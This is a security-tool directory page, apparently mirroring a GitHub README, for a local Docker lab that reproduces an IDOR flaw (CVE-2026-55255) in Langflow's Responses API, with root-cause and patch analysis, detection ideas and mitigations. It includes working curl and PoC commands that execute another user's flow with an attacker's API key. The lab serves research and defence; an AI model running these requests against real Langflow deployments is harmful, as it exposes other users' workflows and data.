Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-55255-Lab — 用于复现CVE-2026-55255的本地Docker实验室,该漏洞是Langflow的Responses API中的一个IDOR漏洞。通过基于请求的PoC验证易受攻击版本与已修补版本中的跨用户流程执行。 | Kitploit
工具/GitHubGitHub/rootdirective-sec/cve-2026-55255-lab
漏洞分析Web应用程序漏洞利用API安全测试渗透测试学习与教育实验室与实践
GitHubrootdirective-sec/cve-2026-55255-lab

CVE-2026-55255-Lab

用于复现CVE-2026-55255的本地Docker实验室,该漏洞是Langflow的Responses API中的一个IDOR漏洞。通过基于请求的PoC验证易受攻击版本与已修补版本中的跨用户流程执行。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
22个月前尚未审核
分享

CVE-2026-55255 - Langflow 中的 /api/v1/responses IDOR 漏洞

执行摘要

此存储库包含一个本地 Docker 实验室,用于重现和验证 CVE-2026-55255,这是一个影响 Langflow 的 OpenAI 兼容 Responses API 的不安全直接对象引用 (IDOR) 漏洞。

Langflow 是一个用于构建和部署人工智能驱动的代理和工作流的开源平台。该漏洞行为影响 /api/v1/responses 端点,在该端点上,经过身份验证的攻击者可以提供另一个用户的流 UUID 作为 model 值,从而导致 Langflow 执行该受害者拥有的流。

此实验室比较两个 Langflow 版本:

ServiceLangflow 版本目的URL
vuln1.9.0易受攻击的比较目标http://localhost:7860
patched1.9.1已修补的比较目标http://localhost:7861

此本地实验室中演示的 HTTP 验证路径为:```text Authenticated attacker API key → POST /api/v1/responses → request body sets model to victim-owned flow UUID → vulnerable target executes the victim-owned flow → patched target returns flow_not_found and does not execute the victim-owned flow

root@kitploit:~
在存在漏洞的目标中,攻击者拥有的API密钥可以执行受害者拥有的流程,并且响应中包含仅受害者可见的标记:```text
VICTIM_ONLY_CONTEXT_55255_VULN

在已修补的目标中,相同的跨用户请求不会返回受害者标记,而是返回一个OpenAI风格的错误主体:```json {"error":{"message":"Flow with id '' not found","type":"invalid_request_error","code":"flow_not_found"}}

root@kitploit:~
本实验使用 Langflow 1.9.0 和 Langflow 1.9.1 验证了存在漏洞与已修复版本的 HTTP 行为。

该实验范围仅限于本地 Docker 服务。它不针对外部系统,也不包含凭证窃取、数据库转储、破坏性负载、外部回调、恶意软件、持久化或后利用活动。

## 已验证的事实

| 声明 | 证据 | 如何在本实验中验证 |
| ---- | ---- | ------------------- |
| CVE-2026-55255 影响 Langflow 的 `/api/v1/responses` 端点。 | GitHub 安全公告 GHSA-qrpv-q767-xqq2 描述了 `/api/v1/responses` 中的 IDOR 漏洞。 | 查看参考资料部分,并在两个本地目标上运行 PoC。 |
| GitHub 安全公告列出的受影响版本为 `< 1.9.1`,修复版本为 `1.9.1`。 | GitHub 安全公告 GHSA-qrpv-q767-xqq2。 | 比较 `docker-compose.yml` 中存在漏洞和已修复的目标版本。 |
| 一些下游漏洞来源对确切修复版本存在不一致意见。 | GitHub/GitLab 将 `1.9.1` 列为已修复;一些下游情报页面提到 `1.9.2` 或包含混合措辞。 | 查看参考资料部分,并依赖本实验对测试的 1.9.1 行为的验证。 |
| 本实验使用 Langflow 1.9.0 作为存在漏洞的比较目标。 | `vuln` 服务使用 `langflowai/langflow:1.9.0`。 | 检查 `docker-compose.yml` 并运行 `docker compose ps`。 |
| 本实验使用 Langflow 1.9.1 作为已修复的比较目标。 | `patched` 服务使用 `langflowai/langflow:1.9.1`。 | 检查 `docker-compose.yml` 并运行 `docker compose ps`。 |
| Langflow 的响应 API 使用 `POST /api/v1/responses`。 | Langflow 文档描述了兼容 OpenAI 的响应 API 端点。 | 针对 `/api/v1/responses` 运行 PoC 或手动 curl 请求。 |
| Langflow 的响应 API 接受流程 ID 作为 `model` 值。 | Langflow 文档指出 `model` 值会被替换为 `flow_id`。 | 检查 PoC 请求体。 |
| Langflow API 请求需要通过 `x-api-key` 提供 API 密钥。 | Langflow API 文档描述了使用 `x-api-key` 头进行 API 密钥身份验证。 | 检查 PoC 请求头。 |
| PoC 是基于请求的。 | `poc/validate_idor.py` 发送 HTTP 请求,不调用 Docker、Docker Compose、shell 命令或容器 API。 | 检查 `poc/validate_idor.py`。 |
| 存在漏洞的目标会执行一个受害者拥有的流程,使用攻击者拥有的 API 密钥。 | 存在漏洞的响应返回 `VICTIM_ONLY_CONTEXT_55255_VULN`。 | 使用受害者流程 ID 和攻击者 API 密钥运行存在漏洞的 PoC 命令。 |
| 已修复的目标会阻止相同的跨用户执行路径。 | 已修复的响应返回 `error.code = flow_not_found`,并且不返回受害者标记。 | 使用受害者流程 ID 和攻击者 API 密钥运行已修复的 PoC 命令。 |

## 假设与未知情况

本实验使用 Langflow 1.9.0 作为存在漏洞的比较目标,因为 GitHub 安全公告 GHSA-qrpv-q767-xqq2 将 1.9.1 之前的版本标记为受影响,且本地测试确认了 1.9.0 中的漏洞行为。

本实验使用 Langflow 1.9.1 作为已修复的比较目标,因为 GitHub 安全公告 GHSA-qrpv-q767-xqq2 将 1.9.1 列为已修复版本,且本地测试确认 1.9.1 通过 `flow_not_found` 阻止了测试中的跨用户 `/api/v1/responses` 执行路径。

来源之间存在版本差异。GitHub 和 GitLab 公告将 1.9.1 之前的版本列为受影响,1.9.1 列为已修复。一些下游漏洞情报页面提到 1.9.2 或包含关于修复版本的混合措辞。本仓库记录了这一差异,并直接验证了测试行为。```text
Langflow 1.9.0
→ attacker API key + victim flow UUID
→ victim marker returned
→ vulnerable behavior observed

Langflow 1.9.1
→ attacker API key + victim flow UUID
→ flow_not_found
→ victim marker not returned
→ blocked behavior observed

本实验假设攻击者已知道受害者的 flow UUID。该 PoC 不会暴力破解 flow ID、枚举 flows 或尝试发现受害者 flow ID。

本实验关注于可观察的 HTTP 行为:```text POST /api/v1/responses

root@kitploit:~
使用此请求形状:```json
{
  "model": "<victim-flow-id>",
  "input": "cross-user CVE-2026-55255 validation request",
  "stream": false
}

该实验室在存在漏洞的目标中演示了未经授权的跨用户流程执行,并在修补后的目标中演示了被阻止的行为。

该实验室未演示:

  • 暴力破解流程UUID,
  • 流程ID枚举,
  • 凭证窃取,
  • 数据库转储,
  • 使用真实LLM提供商的API密钥,
  • 访问真实生产数据,
  • 外部回调,
  • 远程命令执行,
  • 恶意软件,
  • 持久化,
  • 或针对非实验室系统的攻击。

根本原因总结

CVE-2026-55255的根本原因是Langflow的流程解析逻辑中存在授权漏洞。

/api/v1/responses端点通过model字段接受流程UUID。在存在漏洞的版本中,get_flow_by_id_or_endpoint_name()内的UUID查找路径可以直接通过主键加载Flow对象,而未强制检查解析后的Flow.user_id是否与已认证的API密钥用户匹配。

存在漏洞的行为可总结为:```text Attacker owns API key → attacker sends POST /api/v1/responses → model contains victim-owned flow UUID → flow resolver loads Flow by UUID → resolver does not enforce Flow.user_id == attacker_user.id → response endpoint executes the victim-owned flow → attacker receives victim flow output

root@kitploit:~
修补后的行为可概括为:```text
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads candidate Flow
→ resolver compares Flow.user_id with authenticated API-key user id
→ cross-user lookup is treated as not found
→ response endpoint returns flow_not_found
→ victim-owned flow is not executed

安全问题不在于攻击者可以使用自己的流程调用 /api/v1/responses。这是预期行为。问题在于,当提供受害者的流程 UUID 时,一个低权限的已认证用户可以导致该端点执行另一个用户拥有的流程。

安全教训是:```text Object lookup by UUID is not authorization. Every object lookup used by an authenticated API route must be scoped to the authenticated principal or followed by a strict ownership check before the object is used.

root@kitploit:~
## 源码分析

通过对比 Langflow `v1.9.0` 和 `v1.9.1`,确认了源码级别的问题。

用于审查的已检查源码标签如下:

| 版本 | Git 提交 |
| ------- | ---------- |
| v1.9.0  | `a47f2ad17eb662e940c550cfccb64a87dddd7e0b` |
| v1.9.1  | `dc26d19c1ed5b2779a3a759f78a747f47089c534` |

相关辅助函数为:```python
async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:

在易受攻击的 UUID 分支中,流程通过 ID 加载:```python flow_id = UUID(flow_id_or_name) flow = await session.get(Flow, flow_id)

root@kitploit:~
缺失的安全相关检查是:```python
flow.user_id == authenticated_user.id

如果没有那个所有者检查,一个有效的 Flow UUID 就足以解析出一个 Flow 对象,即使它属于另一个用户。

修补后的版本添加了对 user_id 的规范化,并在 UUID 路径上强制执行所有者作用域:```python if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None

root@kitploit:~
重要的行为是:```text
if the flow exists
and the flow belongs to another user
then treat it as not found

这就是为什么修补后的实验室响应返回:```json {"error":{"code":"flow_not_found"}}

root@kitploit:~
而不是执行受害者拥有的流程。

对于此实验,主要易受攻击的行为是 `/api/v1/responses` 执行路径到达 `get_flow_by_id_or_endpoint_name()` 并解析受害者拥有的流程 UUID 而不强制执行所有权。

该补丁还加固了相关的流程执行路由。在 `endpoints.py` 中,之前使用原始助手作为 FastAPI 依赖项的路由已从以下内容更改:```python
flow: Annotated[FlowRead, Depends(get_flow_by_id_or_endpoint_name)]

到经过认证的包装器,例如:```python async def get_flow_for_api_key_user( flow_id_or_name: str, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> FlowRead: return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)

root@kitploit:~
这些包装器更改是针对其他流程执行路由(如 `/api/v1/run*`)的相关加固。它们确保辅助函数接收到经过身份验证的用户ID,而不是依赖于普通的请求参数。本实验所展示的核心修复仍然是 `get_flow_by_id_or_endpoint_name()` 内部的解析器侧所有权检查。

因此,源码级别的修复有两个相关部分:```text
Core resolver fix:
  enforce owner scoping before returning a Flow object

Related route dependency hardening:
  pass the authenticated API-key or session user's ID into the resolver

源补丁摘要

Langflow 1.9.1 通过将跨用户查找视为未找到,并确保相关流程执行路径将已验证的用户上下文传递给解析器,从而加强了易受攻击的流程解析路径。

核心补丁逻辑为:```python if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None

root@kitploit:~
该补丁还为需要解析流程的路由添加了经过身份验证的包装器依赖项:```python
async def get_flow_for_api_key_user(...):
    return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)

async def get_flow_for_current_user(...):
    return await get_flow_by_id_or_endpoint_name(flow_id_or_name, current_user.id)

与安全相关的变更是:```text Before: flow UUID → session.get(Flow, flow_id) → Flow object returned without owner scoping → downstream execution path can run victim-owned flow

After: flow UUID → session.get(Flow, flow_id) → compare Flow.user_id with authenticated user id → cross-user result becomes None → shared not-found behavior fires → victim-owned flow is not executed

root@kitploit:~
补丁还减少了信息泄露。跨用户访问被视为“未找到”,而不是返回一个不同的授权响应,该响应可能会揭示另一个用户的流程是否存在。

这个实验将源代码审查和运行时验证分开:```text
Source patch review:
  explains why the vulnerable resolver could return a victim-owned flow.

Runtime validation:
  proves the vulnerable target executes the victim-owned flow and the patched target does not.

实验室架构

该实验室通过 Docker Compose 运行两个孤立的 Langflow 目标。```text . ├── docker-compose.yml ├── poc/ │ └── validate_idor.py ├── seed/ │ ├── Dockerfile │ └── seed.py ├── src/ │ ├── langflow-1.9.0/ │ └── langflow-1.9.1/ ├── state/ │ ├── patched.json │ ├── patched.ready │ ├── vuln.json │ └── vuln.ready └── README.md

root@kitploit:~
`state/` 文件由种子服务在实验室启动期间生成。`src/` 目录包含用于源代码差异验证的已检出 Langflow 源代码树。

这两个 Langflow 服务使用不同的应用程序版本和不同的容器内 SQLite 数据库:

| 服务         | 组件       | 版本/角色                         |
| ------------ | ---------- | --------------------------------- |
| vuln         | Langflow   | 易受攻击的目标应用程序            |
| patched      | Langflow   | 已修补的比较应用程序              |
| seed-vuln    | Python     | 创建本地用户、API 密钥和流程      |
| seed-patched | Python     | 创建本地用户、API 密钥和流程      |

默认暴露的服务:```text
Vulnerable target: http://localhost:7860
Patched target:    http://localhost:7861

实验室使用固定的 Langflow 镜像:

目标Langflow 版本预期行为
http://localhost:78601.9.0攻击者 API 密钥可以执行受害者拥有的流程
http://localhost:78611.9.1跨用户受害者流程执行被阻止

种子服务在以下期间自动运行:```bash docker compose up --build --wait

root@kitploit:~
他们创建:```text
victim user
attacker user
attacker API key
victim flow
attacker flow
state/vuln.json
state/patched.json
state/vuln.ready
state/patched.ready

种子生成的 state/*.json 文件提供了可丢弃的本地测试值,例如 API 密钥和流程 UUID。

PoC 不会读取 state/*.json。用户通过命令行参数提供目标 URL、API 密钥、流程 ID 以及可选的预期标记。

该实验不会创建或修改易受攻击的 /api/v1/responses 路由。该路由由 Langflow 提供。

要求

  • Docker Desktop 或 Docker Engine
  • 支持 --wait 的 Docker Compose v2
  • Python 3
  • jq(用于本 README 中的便捷命令)
  • 首次拉取 Docker 镜像时需要互联网访问

PoC 不需要任何 Python 第三方包。PoC 仅使用 Python 标准库模块。

种子容器内部安装了 Python requests 包。该包仅由种子服务在实验设置过程中使用,PoC 不依赖它。

快速开始

从干净状态启动实验:```bash docker compose down -v --remove-orphans find state -type f ( -name ".json" -o -name ".ready" ) -delete docker compose up --build --wait

root@kitploit:~
检查服务状态:```bash
docker compose ps

期望的健康服务:```text cve-2026-55255-vuln cve-2026-55255-patched cve-2026-55255-seed-vuln cve-2026-55255-seed-patched

root@kitploit:~
预期的暴露目标:```text
http://localhost:7860
http://localhost:7861

检查种子状态文件:```bash ls -la state cat state/vuln.json | jq . cat state/patched.json | jq .

root@kitploit:~
预期文件:```text
state/vuln.json
state/vuln.ready
state/patched.json
state/patched.ready

针对易受攻击的目标运行基于请求的验证:```bash python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/vuln.json)"
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)"
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"

root@kitploit:~
对修补后的目标运行基于请求的验证:```bash
python3 poc/validate_idor.py \
  --url "$(jq -r '.public_url' state/patched.json)" \
  --api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
  --flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
  --expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"

PoC 用法

该 PoC 接受目标 URL、API 密钥、流程 ID 以及一个可选的预期标记:```bash python3 poc/validate_idor.py
--url <target_url>
--api-key <api_key>
--flow-id <target_flow_id>
--expect-marker <expected_output_marker>

root@kitploit:~
Required options:

| 选项 | 含义 |
| ------ | ------- |
| `--url` | Langflow 基础 URL |
| `--api-key` | 用于 `x-api-key` 标头的 API 密钥 |
| `--flow-id` | 用作 `model` 值的 Flow UUID |

Optional options:

| 选项 | 含义 |
| ------ | ------- |
| `--expect-marker` | 如果目标流程执行,响应中预期的标记 |

PoC 发送以下 HTTP 请求:```text
POST /api/v1/responses
x-api-key: <redacted>
Content-Type: application/json

请求体:```json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }

root@kitploit:~
The PoC 基于请求。它不调用 Docker、Docker Compose、shell 命令、WP-CLI、容器 API 或 Langflow seed API。

在此实验室中,`state/*.json` 可用于将一次性本地 API 密钥和流程 ID 复制到 PoC 命令中。PoC 本身不依赖这些文件。`state/*.json` 中的 API 密钥是一次性本地实验室密钥;请勿在这些命令中使用实际的生产 API 密钥。

## 预期结果

### 易受攻击的目标

命令:```bash
python3 poc/validate_idor.py \
  --url "$(jq -r '.public_url' state/vuln.json)" \
  --api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
  --flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
  --expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"

预期的易受攻击目标信号:```text

[CVE-2026-55255 REQUEST-BASED VALIDATION] [TARGET] http://localhost:7860 [FLOW_ID] [API_KEY]

[REQUEST] POST http://localhost:7860/api/v1/responses x-api-key: Content-Type: application/json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }

[RESPONSE] HTTP 200 flow execution observed : True expected marker : VICTIM_ONLY_CONTEXT_55255_VULN marker found : True

[BODY] ... "text":"VICTIM_ONLY_CONTEXT_55255_VULN\n\nowner=victim-user\n\ntenant=cve-2026-55255-lab" ...

======================================================================================== [CLASSIFICATION] VULNERABLE_BEHAVIOR - expected marker was returned. FINAL: VULNERABLE_BEHAVIOR_OBSERVED

root@kitploit:~
重要的易受攻击信号是:```text
attacker API key
+ victim flow UUID
+ HTTP 200 completed response
+ victim-only marker returned

已修补的目标

命令:```bash python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/patched.json)"
--api-key "$(jq -r '.attacker.api_key' state/patched.json)"
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"

root@kitploit:~
预期的已修补目标信号:```text
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7861
[FLOW_ID] <victim-flow-id>
[API_KEY] <redacted>

[REQUEST]
POST http://localhost:7861/api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
{
  "model": "<victim-flow-id>",
  "input": "cross-user CVE-2026-55255 validation request",
  "stream": false
}

[RESPONSE]
HTTP 200
flow execution observed : False
expected marker         : VICTIM_ONLY_CONTEXT_55255_PATCHED
marker found            : False
error code              : flow_not_found

[BODY]
{"error":{"message":"Flow with id '<victim-flow-id>' not found","type":"invalid_request_error","code":"flow_not_found"}}

========================================================================================
[CLASSIFICATION] BLOCKED - target returned flow_not_found.
FINAL: BLOCKED_BEHAVIOR_OBSERVED

重要的修补信号是:```text attacker API key

  • victim flow UUID
  • no victim marker
  • error.code = flow_not_found
root@kitploit:~
### 无标记时观察到的执行

如果省略了 `--expect-marker`,并且目标返回了完整的 Langflow 响应,则 PoC 报告:```text
[CLASSIFICATION] FLOW_EXECUTION_OBSERVED - target returned a completed flow response.
[NOTE] Ownership of the supplied flow ID must be confirmed separately.
FINAL: FLOW_EXECUTION_OBSERVED

这意味着目标流程已执行,但 PoC 本身无法证明所提供的流程 ID 属于另一个用户。必须通过实验室种子数据、流程 ID 的来源或其他授权证据来确认所有权。

验证的工作原理

验证器向 Langflow Responses API 端点发送一个 HTTP POST 请求:```text /api/v1/responses

root@kitploit:~
该请求使用所提供的API密钥:```text
x-api-key: <attacker-api-key>

请求体使用提供的流 UUID 作为 model 值:```json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }

root@kitploit:~
预期的脆弱行为:```text
HTTP 200
response object status is completed
error is null
output contains victim-owned flow marker

预期的修补后行为:```text request does not execute victim-owned flow response does not contain victim marker response indicates flow_not_found

root@kitploit:~
在本实验中,Langflow 1.9.1 返回 `HTTP 200` 以及一个 OpenAI 风格的 JSON 错误对象:```json
{"error":{"code":"flow_not_found"}}

这就是 PoC 检查 JSON 错误代码而非假定 HTTP 传输状态必须为 404 的原因。

PoC 仅有意验证跨用户流程执行条件。它不会尝试发现流程 ID、暴力枚举 UUID、枚举用户、提取机密或触发外部服务。

使用 curl 的手动 HTTP 复现

实验室种子将一次性本地值写入 state/*.json。这些命令使用这些本地值来构建 curl 请求。状态文件是仅限实验室的构建产物。

漏洞探测:```bash curl -i -sS -X POST
"$(jq -r '.public_url' state/vuln.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/vuln.json)"
--data "{ "model": "$(jq -r '.victim_flow.id' state/vuln.json)", "input": "cross-user CVE-2026-55255 validation request", "stream": false }"

root@kitploit:~
预期的易受攻击的结果:```text
HTTP/1.1 200 OK
...
"status":"completed"
"error":null
"VICTIM_ONLY_CONTEXT_55255_VULN"

修补后的探测工具:```bash curl -i -sS -X POST
"$(jq -r '.public_url' state/patched.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/patched.json)"
--data "{ "model": "$(jq -r '.victim_flow.id' state/patched.json)", "input": "cross-user CVE-2026-55255 validation request", "stream": false }"

root@kitploit:~
预期修补结果:```text
HTTP/1.1 200 OK
...
{"error":{"code":"flow_not_found"}}

影响

CVE-2026-55255 在多用户或多租户的 Langflow 部署中具有安全敏感性,因为一个已认证的用户可能能够在知道受害者流 UUID 的情况下执行另一个用户的流。

实际现实世界的影响取决于受害者拥有的流的功能。

可能的影响包括:

  • 未经授权执行另一个用户的 AI 工作流,
  • 暴露受害者流处理的数据,
  • 访问受害者拥有的提示或工作流输出,
  • 使用受害者拥有的集成或配置的组件,
  • 消耗受害者相关的计算或 API 资源,
  • 跨用户或跨租户授权边界绕过,
  • 以及通过流输出泄露信息。

实际可利用性取决于攻击者能否获取有效的受害者流 UUID。流 UUID 猜测不是本实验的重点,PoC 不会暴力破解流 ID。

本实验仅演示安全的授权边界失败:```text attacker API key

  • victim flow UUID
  • victim-only marker returned
root@kitploit:~
该实验室不演示真实数据访问、真实机密访问、LLM提供方密钥滥用、外部回调或后渗透利用。

## 检测与监控

潜在指标包括经过身份验证的请求到:```text
POST /api/v1/responses

可疑的请求模式:```text x-api-key belongs to user A model contains flow UUID owned by user B

root@kitploit:~
高信号检测思路:```text
POST /api/v1/responses
AND request.model is a flow UUID
AND authenticated API-key user does not own that flow UUID

可能的应用程序层日志或遥测数据可供审查:

  • API密钥所有者,
  • 请求路径,
  • model 值,
  • 解析的流程ID,
  • 解析的流程所有者,
  • 响应错误码,
  • flow_not_found 响应,
  • 来自 /api/v1/responses 的成功完成响应,
  • 异常的跨用户流程执行尝试,
  • 对多个流程UUID的重复尝试,
  • 以及来自低权限用户的异常高API使用量。

示例易受攻击的验证工件:```text Request: POST /api/v1/responses x-api-key: attacker user's API key model: victim user's flow UUID

Response: status: completed error: null output contains victim-only marker

root@kitploit:~
示例已修补的验证工件:```text
Request:
  POST /api/v1/responses
  x-api-key: attacker user's API key
  model: victim user's flow UUID

Response:
  error.code: flow_not_found
  victim marker not returned

推荐监控操作:

  • 审查 /api/v1/responses 的 API 日志。
  • 关联 API 密钥所有者与请求的流程所有者。
  • 对跨用户流程 UUID 的使用发出警报。
  • 针对 Responses API 审查 flow_not_found 的突发情况。
  • 审查新创建或低权限用户的高异常 API 使用情况。
  • 审查可能暴露流程 UUID 的公共或共享频道。
  • 如怀疑存在滥用,轮换受影响的 API 密钥。
  • 审查受害者拥有的流程,检查是否存在敏感连接器、工具或数据源。

缓解措施与补丁说明

将 Langflow 升级至已修复版本。

GitHub 安全公告 GHSA-qrpv-q767-xqq2 指出 Langflow 1.9.1 已修复 CVE-2026-55255。部分下游漏洞情报源提及 1.9.2,或针对已修复版本使用了混合措辞。本实验室验证表明,Langflow 1.9.1 通过返回 flow_not_found 阻止了已测试的 /api/v1/responses 跨用户执行路径。对于生产环境,请升级至最新的 Langflow 版本,而非停留在实验室对比版本。

建议的缓解步骤:

  • 将 Langflow 升级至已修复或最新可用版本。
  • 确认当前安装版本不在受影响范围内。
  • 尽可能将 Langflow 暴露范围限制在可信网络内。
  • 要求对 API 路由进行身份验证。
  • 如怀疑存在利用,审查并轮换 API 密钥。
  • 审查流程所有权和共享配置。
  • 审查跨用户 /api/v1/responses 请求的日志。
  • 避免不必要地暴露流程 UUID。
  • 将反向代理或 WAF 封锁视为临时控制措施,而非升级的替代方案。
  • 在多租户环境中,测试 API 密钥用户无法执行其不拥有的流程。

安全工程经验教训:

  • 不要依赖对象 UUID 的机密性作为授权控制。
  • 根据经过身份验证的主体限定对象查找范围。
  • 在使用解析对象之前,强制执行所有权检查。
  • 避免在需要认证上下文的路由中直接使用通用解析器辅助函数作为依赖项。
  • 谨慎处理“未找到”响应,以避免泄露对象是否存在信息。
  • 添加跨用户对象访问的回归测试。

安全边界

本实验室仅用于本地安全研究和受控演示。

请勿针对您不拥有或未经明确授权测试的系统执行 PoC 或手动 curl 请求。

请勿在本实验室中使用真实的生产凭证、客户数据、支付数据、API 密钥、LLM 提供商密钥、数据库凭证或生产机密。

预期范围仅限于本地 Docker 服务,例如:```text http://localhost:7860 http://localhost:7861 http://127.0.0.1:7860 http://127.0.0.1:7861

root@kitploit:~
该概念验证有意基于请求进行。它不会调用Docker、Docker Compose、Shell命令、WP-CLI或容器API。

该实验环境不包含以下有效载荷:

* 流程UUID暴力破解,
* 用户枚举,
* 凭证窃取,
* 数据库导出,
* LLM提供商密钥滥用,
* 任意命令执行,
* 恶意软件,
* 持久化,
* 横向移动,
* 客户数据访问,
* 或外部回调。

目的是在受控环境中演示一个特定的技术条件:```text
HTTP request
+ attacker-owned API key
+ victim-owned flow UUID
+ vulnerable target executes victim-owned flow
+ patched target returns flow_not_found

参考资料

  • CVE 记录:CVE-2026-55255 https://www.cve.org/CVERecord?id=CVE-2026-55255

  • GitHub 安全公告:GHSA-qrpv-q767-xqq2 https://github.com/advisories/GHSA-qrpv-q767-xqq2

  • GitLab 安全公告:CVE-2026-55255 https://advisories.gitlab.com/pypi/langflow/CVE-2026-55255/

  • Langflow 拉取请求:fix(security): close IDOR in get_flow_by_id_or_endpoint_name (LE-639) #12832 https://github.com/langflow-ai/langflow/pull/12832

  • Langflow OpenAI 响应 API 文档 https://docs.langflow.org/api-openai-responses

  • Langflow API 密钥与认证文档 https://docs.langflow.org/api-keys-and-authentication

  • Langflow API 参考示例 https://docs.langflow.org/api-reference-api-examples

  • Langflow GitHub 仓库 https://github.com/langflow-ai/langflow

  • Langflow Docker 镜像 https://hub.docker.com/r/langflowai/langflow

  • 针对 GHSA-qrpv-q767-xqq2 的 Tenable 插件说明 https://www.tenable.com/plugins/container-security/443659

  • Mondoo 漏洞情报:CVE-2026-55255 https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-55255

下载工具